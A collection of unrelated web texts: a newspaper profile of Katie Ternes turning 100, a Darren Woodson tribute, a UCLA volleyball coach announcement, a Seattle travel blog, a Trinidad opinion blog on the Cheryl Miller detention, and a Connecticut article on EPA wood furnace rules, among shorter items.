Katie and John had four children. Art, the oldest, is 83 and a resident of the Strasburg Care Center. A graduate of Strasburg High School, he was a Depot Agent for the Soo Line Railroad for many years, served in the U.S. Army in World War II and the Korean War and attended from Creighton University in Omaha, Neb. He has six children.
Antonia died at age 18 months when the family lived on the farm at Krassna.
Dolores could not speak English when she started school, but she soon picked up the language and went on to graduate from Strasburg High School. She died in 1997. She was married to Bill Feist, originally of Zeeland, and they lived in Bismarck. Bill, now retired, owned Feist Jewelry in Bismarck for many years. They had four children.
Diane, the youngest, started school in Strasburg and graduated from St. Mary's High School in Bismarck. She and her husband, Mike Zainhofsky, live in Bismarck. They have three children. Diane is a Licensed Social Worker and is the Executive Director of the Abused Adult Resource Center in Bismarck, a position she has held for 30 years.
Thefamily lived in the back of the bar until Diane was born. They purchased a home just south of the Blue Room.
Katie had a huge garden that covered two lots in Strasburg, and she grew virtually all of the food for the family. That meant many hours of canning meat that came from relatives on farms, vegetables and fruit.
"I made very few trips to the grocery store. I went for toiletries, sugar and flour," Katie said, noting that raising food was one way people survived the Great Depression. "My basement was full of canned food from the floor to the ceiling."
She also baked her own bread, cookies and pastries.
Katie did not work outside the home in Bismarck, and she and John enjoyed their retirement, focusing on their children and grandchildren.
Her only job in those years was baby-sitting, and she provided day care for U.S. Sen. Byron Dorgan's children.
She was 90 when she left her own home to move to the Waterford retirement home. A year and a half ago, she moved to the Baptist Home after breaking a hip and needing time to recuperate.
One of her favorite pastimes is playing Bingo, which she still does at the home on a regular basis.
Katie has been on kidney dialysis for 10 years, and the center's van takes her to her appointments every Monday, Wednesday and Friday, and she is one of the staff's favorites at the dialysis unit.
"I go three days a week, It's like my job," Katie joked. Noting that she never expected to live to be 100, Katie said she is looking forward to her party.
"I feel great, and I am ready to have a party with my family and friends," Katie said. "Everybody's so good to me."
(Editor's note: This story is based, in part, on Michael Miller's interview of Katie Ternes in 1993. A native of Strasburg, he is the Director and Bibliographer of the Germans from Russia Heritage Collection at North Dakota State University, Fargo. The Record also interviewed Katie and her daughter, Diane Zainhofsky.Miller's complete interview can be found at http://library.ndsu.edu/grhc/history_culture/oral/samples/ternes.html.)
Reprinted with the permission of the Emmons County Record.
Katie Ternes
Katie's dad, Tom Ehli, stands on the ramp at the elevator in Mandan.
Katie's mother, Regina Ehli Friesz, poses by her home in Mandan.
The Ehli and Friesz children include, back row, left to right, John Ehli, Katie (Ehli) Ternes, Ralph Friesz and Peter Friesz; front row, Minnie (Friesz) Kuhn, Lizzie Ehli, Ida (Friesz) Schmidt and Mary (Ehli) Franck.
Katie Ehli was 17 when she married John N. Ternes.
John Ternes was a handsome groom.
This photo of Katie was her engagement picture.
John's mother was Odelia (Kopp) Ternes.
John and Katie Ternes are pictured with their daughter, Antonia who died at 18 months.
Katie and John are pictured next to their Krassna farm house with their son, Art, who is now 82.
John and Katie Ternes present their daughter, Diane, at her wedding to Mike Zainhofsky.
Dolores (Ternes) Feist is pictured with her sister, Diane, and Diane's grandson, Kyle.
Katie and John posed for this portrait on their 50th Wedding Anniversary in 1977.


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28 Darren Woodson – Safety – 1992 – 2004
In this chapter of my Legends series, I take a look at one of the best safeties ever to wear a Cowboys uniform, the great Darren Woodson.
Woodson was drafted by the Dallas Cowboys as a converted linebacker in the second round of the 1992 NFL Draft out of Arizona State University.
He played at safety for the Cowboys and was a five time Pro Bowl selection who developed a reputation as an effective run-stopper and was a feared and ferocious hitter.
He was leader both on and off the field and was a mentor to many of the younger players, including Roy Williams at the time (no the other Roy Williams!).
Besides chasing and tackling ball carriers in the secondary, Woodson also was very relentless at chasing down and stopping kick returners on special teams.
For many years, Woodson dominated at his position and was a threat to anyone carrying the ball within his range. Many of his tackles were so ferocious that he drew many fines from the NFL during his career.
However, doing all those things for all those years finally took a toll on Woodson's body. After missing most of the season after having back surgery just before training camp, the hard-hitting safety announced his retirement in December of 2004.
It was the end of an era for the Dallas Cowboys. Darren Woodson was the last player left from the 1992, 1993 and 1995 Super Bowl champions and he was also the last player drafted by Jimmy Johnson. His 1,350 tackles are the most-ever in Cowboys history.
Just the mention of Woodson's name can still make opposing wide receivers and kickoff returners cringe. It won't be long until he's one day recognized in the Cowboys Ring of Honor.


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Charlemont, Massachusetts, is on the Mohawk Trail--the primary Indian route between the Hudson River Valley and the Connecticut River Valley. Charlemont is bisected by the Deerfield River. Because of its location on the Mohawk Trail, it was the site of a very early flow of tourists. Curtis Guild, Jr. was governor of Massachusetts from 1906 to 1909, and his visit to Charlemont was commemorated with this postcard. The road pictured is the Mohawk Trail or Route 2.
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2015 has been a busy year! Small business owners and entrepreneurs have had to learn more about video, survive Mobilegeddon to focus on SEO, and start to think about life on Mars thanks to SpaceX.
So if you are one of those busy businesspeople, we know that holiday shopping may not have been a top priority; or even if you are trying to purchase for one of these determined people, this list is for you!
We've gathered some of the coolest tech gadgets we could find into a single list to help you quickly find a gift for that tech-savvy someone.


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Mike Sealy Named UCLA Head Women's Volleyball Coach
Feb. 10, 2010
LOS ANGELES - UCLA Athletic Director Dan Guerrero announced on Wednesday that Mike Sealy has been named head coach of the Bruin women's volleyball program. Sealy returns to his alma mater after spending the last four seasons as an associate head coach at the University of Hawai'i. He was a three-time All-American and an assistant coach for four years with the UCLA men's volleyball team and was an assistant with the Bruin women's volleyball program in 2005.
'We are excited to welcome back Mike Sealy to lead the women's volleyball program,' Guerrero said. 'Mike clearly possesses the necessary credentials to allow UCLA to compete at the highest level. He is well-respected in the volleyball community and has an enthusiastic and passionate approach towards the game. Furthermore, as a former Bruin player and coach, he understands the tradition of excellence that has defined the volleyball programs at UCLA and I am confident that he will continue that legacy of success with ambition and integrity.'
'I am very excited and inspired to be back at UCLA,' said Sealy, who will assume his head coaching duties on March 1. 'I feel very fortunate and humbled to take over a program with such a storied history. I would like to thank Dan Guerrero and (Senior Associate Athletic Director/Senior Women's Administrator) Petrina Long for giving me this opportunity and for supporting my vision for the future of the program.'
Sealy helped Hawai'i to a berth in the National Semifinals in 2009. The Rainbow Wahine recorded their second-straight, 30-win season last year, going 32-3 overall. They also posted a 16-0 mark in conference play to earn their 14th-straight Western Athletic Conference title and went on to claim their 10th-consecutive WAC Tournament championship. Sealy's record during his tenure at Hawai'i was 119-19 (.862 winning percentage).
Prior to his stint at Hawai'i, Sealy coached for four seasons at UCLA, where he was an assistant on the men's side from 2003-2006 and an assistant for the women's volleyball team in 2005. In his lone season on the women's side, the Bruins posted a 20-11 record and advanced to the Regional Semifinals. With the UCLA men, Sealy was 91-38 (.705) during his four campaigns, helping the Bruins to an NCAA Championship in 2006 and an NCAA Runner-Up finish in 2005. Sealy was also a volunteer assistant with the Cal State Northridge men's volleyball team in 2000 before working in the same capacity with the UCLA men in 2001.
One of the top setters in UCLA history, Sealy was a four-year letterwinner with the Bruins from 1990-93 and ranks fourth in Bruin annals in assists (4,749). In his senior season, Sealy and the Bruins won the program's 14th National Championship, going 24-3. The team captain was named the co-Most Outstanding Player of the 1993 NCAA Tournament and also earned ASICS/Volleyball Monthly Player of the Year and AVCA All-American first-team honors. In addition, Sealy was named an All-American in 1991 (first-team) and 1992 (third-team), as well as All-Conference three times. The Bruins won three conference titles during Sealy's playing days, going 80-24 (.769) during his four years.
Following his playing career in Westwood, Sealy went on to play professionally in Switzerland, Belgium, Holland and Puerto Rico. He also played with the U.S. National Team in 1994 and 1997.
Sealy graduated from UCLA in 1993 with a degree in physiological science.
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Immediately following the conference that left me crabby, I attached the Slippah Luggage Tags to my luggage and whisked off to visit family in Honolulu. The flight over included multiple indignities, not least exorbitant fees for checked baggage and snacks, which made DH and me determined to spend as much of our long layover in Seattle away from the airport as possible.
To that end we took the light rail – sound transit, indeed! – which has frequent, convenient, bike-friendly service to Pike Place Market, one of the oldest farmer's markets in the country. Some say it started the Meet the Producers movement – see, the truncated sign says so.
It was raining, of course. It always rains when DH visits Seattle. He's been there how many times and never seen Mt. Rainier or even Puget Sound. He consoled himself with some excellent Dungeness crab shooters from City Fish, occasionally vouchsafing me a morsel. While we were munching, a guy came by and told the counterman, "The other place shouts and throws things, but your fish is better!" Fresh, apparently.
We also gawped at the beautiful fresh flowers and produce...
... and at the whimsical sidewalk art and the gentle mural documenting the impact of Japanese American internment on the Market.
I wanted more shooters for the next plane ride, but common sense prevailed. We bypassed the place that shouts and throws things and Starbucks No. 1, which had a line of over caffeinated tourists out the door, in favor of Three Girls Bakery, which had many tasty offerings, both sweet and savory.
By the time we got to Honolulu, we were bleary from being up for over 24 hours and things were getting a bit blurry. Our travel time could have been shorter, but our stop in Seattle was enjoyable and I know from experience that the only thing worse than not flying nonstop from Newark Airport is flying nonstop.
Even with jetlag, there's something deeply wonderful about being in Hawaii. But more on that in the next post. To be continued....
Thursday, June 30, 2011
A Journey of Five Thousand Miles Begins
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3 comments:
- Kaye said...
Awww..Pikes Market was one of our first destinations we hit as a newly engaged couple migrating south. We didn't do fish (sorry, Alaskan fish in Alaska are better) but I do remember hot fresh donuts. Mmmmm.
I had the opposite experience of your husband. One of my first Lower 48 sunburns ironically occurred in Seattle!
Can't wait for the next installment!
- Thu Jun 30, 07:30:00 PM EDT
- Paige said...
Looks like fun! And totally agree about EWR.
- Sun Jul 03, 12:44:00 PM EDT
- CrazyFiberLady said...
can;t wait to read the next installment!
- Mon Jul 18, 02:35:00 PM EDT
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Skilled Laborer or Day Laborer. Day labor is work done where the worker is hired and paid one day at a time, a contractor working for a general contractor (typically to build a house/building/existing home renovation/road, etc). The day laborer pool in the United States has a large spanish-speaking population. The individual is typically skilled in one or more areas such as a painter, electrician, plumber, drywaller, framer, etc.
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Taunton's borough council to "safeguard" Brewhouse Theatre
Taunton Deane Borough Council will make a bid to secure the leasehold on the Brewhouse Theatre to safeguard its future as a public arts venue.
The Somerset venue went into administration last month citing funding cuts for its closure, with visiting companies claiming they were owed thousands of pounds in unpaid fees.
If successful in its bid to administrators BDO, the local authority plans to appoint an organisation to run the Somerset theatre because it has "neither the expertise nor resources to do so".
The council currently owns the freehold for the site and is looking to secure the remaining 61-year lease.
The organisation that is assigned the lease will have access to the council's annual grant of £152,000 for the 2013/14 period, provided its plans for the venue are aligned with the local authority's cultural ambitions for the area.
A further £35,000 has also been set aside for developing new proposals for the site.
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Imagine we still on holiday in Trinidad, when we does work????? So, last night I bringing ah pardna up to speed on the Cheryl Miller case because he was in transit for the last few days and unable to read the blog (me woulda shame). And as I recounting the information as it unravelled from Thursday evening (which is where he miss out from) when Fuad Khan gave an interview to I95.5, I and all had to pause at the sheer marvell
ousity (word have to make up) of this story.
You have a situation where people used their clout to bypass rules and regulations to ward a person in a mental institution and up to last Thursday, while recounting this evidence, the Minister of Health was reciting confidently that all proper procedure had been followed. Mind you, is through Khan that we found out that the call to St. Anns came from someone high up in his office. And I am assuming that since Fuad knew where the call came from, and had a report in his hand about the Cheryl Miller incident that he was gleefully dropping juicy, yet inconclusive bits of information from, that he knew under what section of the law that Miller had been detained. All of the info had to be there. And up until Friday, Khan saw absolutely nothing strange about Miller's detention????? Nothing at all? Not even that the sub-section under which she was detained was beyond stretching our imagination?
Listen, not even VS Naipaul could make this absurdity up!
Is only when Khan realise that the Govt have egg all over its face (and that must have come in the aftermath of the revelations in court on Friday evening and the comments made by attorneys Dana Seetahal and Nyree Alfonso on the matter, which indicated that the State's case was shaky at best) he decide that heads will roll. Not his exact words, but an approximation of it. And as I contemplated Khan's comments in the Express, it occurred to me that maybe even the Minister of Feelings, Verna St Rose Greaves, had to have known under what legal terms Miller was detained, and the ministry officials in her office, the ministry officials in Health and the personnel at St. Ann's......and none of them thought that their detention of Miller was strange????? THEY MAD?????????
I get up this morning to read that Miller will be getting private tests done to find out if the drugs she has been given have harmed her in any way; and that Khan has called a Council of the Ministerial Suspects. If you ask me, that meeting isn't going to be about finding out who is at the bottom of this, because something tells me Khan already knows, and has known since Holy Thursday. This meeting may well be to strategise on how to cover their asses, and find a way to placate a very angry public.
People in positions of authority here have gotten to accustomed to banding together to suppress, hush up and sweep away bad things, that I am convinced from Ministers (and is two involved) to Perm Sec to Deputy Perm Sec felt convinced that they could detain Miller, and not a word would be said about it...because them in charge!!!!
Right now the game that the Ministries, with the aid of the Psychiatrist's Association playing, is one of character smearing....and one only needs to take a look on FB and the online media comments to see how many "sick"chiatrists we have in Trinidad. Thread after comment thread have people focussed on determining whether or not Miller is mad, as their way to justify the action taken against her....and this is despite all of the obvious and damning information that the state authorities breached protocol to lock up an individual. Cheryl Miller's mental state is not and never has been the issue on trial here, but rather how she was detained. But the state is playing a sick game of twisting its comments in the media to suggest and imply that "Cheryl aint too right in she head yuh know, so we had was to treat she this way...is for she own good...really".
But I think Miller's lawyers have smelled blood....if this thing goes to full trial with testimonies from all parties it is going to be an interesting time as we hear detail by detail exactly how people in positions of power go about using their knowledge and contacts to breach it. We bound to hear about phone calls....and weird comments like, "Well, it not on the law books, but is so we always doing it." Cheryl Miller's case has unwittingly opened an entire can of worms not just about abuse of authority in state-run institutions but what precisely goes on with mental health care in Trinidad. Madness has a serious stigma and taboo here....people don't like to talk about it, or admit to it....they fraid people watch them funny. And more often than not we too happy for the authorities to remove crazy people from our line of sight and consciousness.
Despite the many calls from people (most of whom for some reason saw this as a partisan, political, support yuh party issue) to leave the matter alone and "all yuh hush, nah. How all yuh so sure the woman not mad and deserved to be in St. Ann's", I'm glad that Cheryl's colleagues and indeed many other citizens did make a fuss about this, and voiced their displeasure and kept questioning the authorities. At the bottom of it, this has nothing to do with UNCOP vs PNM (although Fitzie and Faris presence hard to ignore) and everything to do with how we as citizens are treated by people in positions of power.
Too often in matters like this the state authorities does wine on us....and wine hard too. So, sorry Khan is not heads alone I want to see roll. I am hoping, that given the details of this case, and Cheryl Miller's battery of lawyers that she aint just get to wine back on the state, I want she tremble it and raise a leg too....because they damn well deserve it!
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|Jeff Luff talks about the new EPA regulations that will effect wood burning stoves like the ones he sells at his outdoor wood furnace shop, CT Wood Furnace in Oxford, Conn. Photo: Autumn Driscoll
OXFORD -- The smoke emanating from outdoor wood-burning furnaces can lie thick and low. Rather than rising and dispersing, it can spread out, leaving smoky particles hanging about.
In a time when indoor cigarette smoking is all but forbidden and greenhouse gases are a common concern, there are 500 to 1,000 wood furnaces in the state, the Department of Energy and Environmental Protection estimates, and they are largely unregulated.
That's about to change.
The federal Environmental Protection Agency recently announced it will start regulating the amount of air pollution emitted from wood furnaces, wood stoves and wood pellet stoves in 2015.
But talk to people who sell and use wood-fired heating sources, and you'll come away with the view that much-maligned outdoor wood boilers might be doing the environment a favor. Advocates of the wood boilers claim people who burn gas and oil for heat are ruining the planet .
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The new EPA regulations will not apply to fireplaces, outdoor fire pits, barbecues or pizza ovens. Existing wood-burning appliances would be grandfathered in, but those manufactured in 2015 and beyond would have to meet far stricter pollution standards.
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Swan, who acted as a liaison between the wood stove industry and the EPA while it worked on 2015 regulations, said it's the older wood furnaces that are a problem.
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To be sure, the horror stories heard from some living downwind of outdoor wood boilers are real. People's lives have been up-ended by a wood-burning unit up the street.
The change in EPA rules can't come soon enough for Wilson Converse, of Weston, and his wife, Suzan. The Converses live across the street from a wood-burning furnace, and they have measured the particulate level in their home when their neighbor burns wood. It can reach dangerous levels.
Converse said it's not just his house. The entire neighborhood is being overridden with smoke from the furnace.
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The neighbor who owns the wood furnace, Joe Tassitano, said the complaints won't deter him from using his furnace.
"I have nothing to say," Tassitano said. "I love wood boilers."
The EPA's new regulations would require increased efficiency. At the end of five years, the EPA has said, the wood stoves and furnaces on the market will be 80 percent cleaner than those sold today.
These new stoves will burn wood much more efficiently. Those who own them will spend less on wood, saving money on fuel. They'll also reduce the health costs caused by breathing smoky air.
In all, the EPA has said, the new standards will create a $1.8 billion to $2.4 billion a year in economic benefit in the United States.
Unmoved, Luff estimates thousands of wood boilers are running in Connecticut alone -- he had sold 2,500 himself -- and the vast majority of them operate without complaint. He is quick to point out that photos in the paper of smoking flues are usually taken when the unit is cold.
"Once it's up to temperature, you see nothing," Luff said. "That's called gasification burn."
Burning wood, Luff says, is better for the environment because it's not a fossil fuel. Burning wood has a "zero carbon footprint" because the carbon dioxide generated by the burning wood is offset by the trees that are growing to replace the firewood.
Luff said the people who burn wood are no match for the clean-air lobby, which they view as wrong-headed when it comes to wood.
"If you have 4 1/2 acres, you'll have an endless supply of fuel," he said. "You'll never diminish your supply of trees."